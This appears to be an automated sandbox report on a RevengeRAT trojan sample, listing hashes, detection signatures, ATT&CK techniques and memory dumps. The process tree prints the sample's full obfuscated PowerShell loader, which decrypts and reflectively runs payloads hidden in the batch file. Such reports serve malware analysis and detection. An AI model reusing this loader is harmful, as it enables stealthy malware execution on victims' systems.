revengerat | fde691fd5ed16873f0376db8eaa0bac17664065bd22c6c68911e42d33061029a

Analysis

max time kernel
137s
max time network
141s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
07-05-2024 23:20

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General

Target

Online.bat
Size

45KB
MD5

1a600b2249b39f991262c170cad3dad3
SHA1

25d531b3963fd4d26689a3c662ce690ea6ea176a
SHA256

fde691fd5ed16873f0376db8eaa0bac17664065bd22c6c68911e42d33061029a
SHA512

f95fd734986e7a28be3ccae0bb233f54bd092d6e19eb9d6fb2dd38ebe9e5997e3e18c33d62cda3ce934945608b842fc3c9ed459e0f6f2bca376716e49a56e787
SSDEEP

768:LSHL8RIxl3aG5e+XiyXbmPwdDrKaWlr77nKNw4kCThakKTqIJN3iI0:4L8WHy+DLmPwdGlrnwhagIn3i9

Score

10^/10

revengerat execution stealer trojan

Malware Config

Extracted

Family

revengerat

Mutex

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

RevengeRat Executable 1 IoCs

stealer

resource	yara_rule
behavioral1/memory/3948-30-0x0000015B655B0000-0x0000015B655B8000-memory.dmp	revengerat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3948	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3948	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 3948	2516	cmd.exe	76
PID 2516 wrote to memory of 3948	2516	cmd.exe	76

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Online.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aHXCo46AUwbrK4rt2yruGJx5SeMwavu8yRLdvk8vW+w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uxenht2swFCyJpbYCLTATA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GbLEN=New-Object System.IO.MemoryStream(,$param_var); $CeUNm=New-Object System.IO.MemoryStream; $dGobh=New-Object System.IO.Compression.GZipStream($GbLEN, [IO.Compression.CompressionMode]::Decompress); $dGobh.CopyTo($CeUNm); $dGobh.Dispose(); $GbLEN.Dispose(); $CeUNm.Dispose(); $CeUNm.ToArray();}function execute_function($param_var,$param2_var){ $Mgmck=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yIqqy=$Mgmck.EntryPoint; $yIqqy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Online.bat';$ACDBf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Online.bat').Split([Environment]::NewLine);foreach ($ULtQU in $ACDBf) { if ($ULtQU.StartsWith(':: ')) { $WVSzC=$ULtQU.Substring(3); break; }}$payloads_var=[string[]]$WVSzC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xmuzjfaf.anx.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/3948-0-0x00007FF9338A3000-0x00007FF9338A4000-memory.dmp

Filesize
4KB

Download
memory/3948-5-0x0000015B65170000-0x0000015B65192000-memory.dmp

Filesize
136KB

Download
memory/3948-10-0x00007FF9338A0000-0x00007FF93428C000-memory.dmp

Filesize
9.9MB

Download
memory/3948-12-0x00007FF9338A0000-0x00007FF93428C000-memory.dmp

Filesize
9.9MB

Download
memory/3948-11-0x0000015B65320000-0x0000015B65396000-memory.dmp

Filesize
472KB

Download
memory/3948-27-0x00007FF9338A0000-0x00007FF93428C000-memory.dmp

Filesize
9.9MB

Download
memory/3948-28-0x0000015B4D050000-0x0000015B4D058000-memory.dmp

Filesize
32KB

Download
memory/3948-29-0x0000015B652E0000-0x0000015B652EA000-memory.dmp

Filesize
40KB

Download
memory/3948-30-0x0000015B655B0000-0x0000015B655B8000-memory.dmp

Filesize
32KB

Download
memory/3948-36-0x00007FF9338A0000-0x00007FF93428C000-memory.dmp

Filesize
9.9MB

Download